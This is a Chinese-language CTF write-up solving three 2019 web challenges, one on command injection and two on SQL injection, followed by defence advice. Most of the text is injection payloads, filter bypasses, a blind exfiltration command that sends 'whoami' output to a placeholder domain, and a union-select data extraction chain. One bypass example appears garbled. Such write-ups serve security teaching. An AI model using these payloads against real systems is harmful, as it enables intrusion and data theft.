1. 题目背景与核心考察点解析
这三道CTF题目分别来自2019年GXYCTF、SUCTF和极客大挑战赛事,虽然表面看起来都是Web安全题目,但各自考察的技术点有显著差异。我们先从每道题目的基本场景入手:
1.1 [GXYCTF2019]Ping Ping Ping
这道题目的核心是命令注入漏洞。题目提供了一个类似ping功能的服务端接口,但考察点远不止简单的命令执行。根据题目名称和热词分析,我们需要重点关注:
- Linux管道符的多种使用方式(|、||、&、&&等)
- 空格和特殊字符的绕过技巧
- 环境变量拼接执行的手法
- 无回显情况下的盲注技术
1.2 [SUCTF 2019]EasySQL
这道SQL注入题目看似简单,实则暗藏玄机。从热词和已有资料来看,题目可能涉及:
- 非常规的SQL注入姿势
- 堆叠查询(Stacked Queries)的利用
- 后端过滤机制的绕过
- 服务器配置差异导致的注入差异
1.3 [极客大挑战 2019]LoveSQL
典型的SQL注入题目,但考察点更加全面:
- 联合查询注入的完整流程
- 信息收集与数据库结构分析
- 盲注与时间盲注的实战应用
- WAF绕过与特殊字符处理
2. [GXYCTF2019]Ping Ping Ping 深度解析
2.1 初始测试与信息收集
首先我们尝试基本的ping功能:
?ip=127.0.0.1返回正常ping结果,说明服务正常运行。
尝试命令注入:
?ip=127.0.0.1;ls发现返回被拦截,说明存在基础过滤。
2.2 过滤机制分析与绕过
经过测试发现以下特征:
- 空格被过滤 → 使用${IFS}代替
- 分号被过滤 → 使用%0a(换行)或%0d(回车)代替
- 关键词过滤 → 使用变量拼接或编码绕过
有效payload示例:
?ip=127.0.0.1%0als或使用变量拼接:
?ip=127.0.0.1;a=g;b=et;c=fla$b$c2.3 无回显情况下的利用
当命令执行但无回显时,可以采用以下方法:
- DNS外带数据:
?ip=127.0.0.1;curl${IFS}`whoami`.yourdomain.com- 延时判断:
?ip=127.0.0.1;sleep${IFS}5- 写入web目录再访问:
?ip=127.0.0.1;echo${IFS}data${IFS}>/var/www/html/tmp.txt2.4 最终flag获取
通过逐步探测,发现flag位于当前目录:
?ip=127.0.0.1;cat${IFS}fla*成功获取flag。
3. [SUCTF 2019]EasySQL 实战突破
3.1 基础注入测试
尝试常规注入:
1' or 1=1--发现返回异常,说明存在特殊过滤。
3.2 堆叠查询利用
测试发现支持堆叠查询:
1;show databases--成功返回数据库列表,确认堆叠查询可用。
3.3 非预期解与预期解分析
根据题目名称"EasySQL",可能存在非预期解:
1;set sql_mode=PIPES_AS_CONCAT;select 1通过修改SQL模式实现注入。
预期解可能需要利用:
1;handler table open;handler table read first这种不常见的SQL语句。
3.4 完整利用链构建
最终payload结构:
1;set sql_mode=PIPES_AS_CONCAT;select flag from flag通过修改SQL模式使||变为字符串连接符而非逻辑或。
4. [极客大挑战 2019]LoveSQL 系统化解题
4.1 注入点识别与基础测试
测试登录框:
admin' and 1=1-- admin' and 1=2--确认存在布尔型注入。
4.2 联合查询注入完整流程
- 确定列数:
admin' order by 3--- 获取数据库信息:
admin' union select 1,database(),3--- 获取表名:
admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--- 获取列名:
admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--- 获取数据:
admin' union select 1,flag,3 from flag--4.3 盲注技术应用
当联合查询不可用时,使用盲注:
admin' and if(ascii(substr(database(),1,1))>100,sleep(3),1)--通过响应时间判断条件真假。
5. 防御方案与安全建议
5.1 命令注入防御
- 使用白名单验证输入:
import re if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip): return "Invalid IP"- 使用安全API替代系统命令:
import ping3 ping3.ping(ip)5.2 SQL注入防御
- 使用预编译语句:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))- 最小权限原则:
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON app_db.* TO 'webuser'@'localhost';5.3 WAF规则配置示例
Nginx配置片段:
location / { set $block_sql_inject 0; if ($query_string ~ "union.*select.*\(") { set $block_sql_inject 1; } if ($block_sql_inject = 1) { return 403; } }6. 拓展思考与技巧总结
6.1 命令注入的非常规绕过
- 利用环境变量:
${PATH:0:1} 代替 /- 使用大括号扩展:
{cat,flag.txt}- 利用引号特性:
c'a't fl''ag6.2 SQL注入的进阶技巧
- 利用注释绕过:
/*!50000select*/ 1- 使用hex编码:
0x61646D696E- 利用位运算:
1^1 代替 06.3 CTF解题通用思路
- 信息收集永远是第一步
- 先测试最基础的payload
- 观察过滤规律再设计绕过
- 多尝试非常规的语法特性
- 善用报错信息获取线索
在实际渗透测试中,这些CTF题目的解法虽然不能直接套用,但其中的思路和技巧对于理解Web安全原理、培养安全思维非常有帮助。建议在解题后,尝试自己搭建类似环境,从防御角度思考如何真正保护系统安全。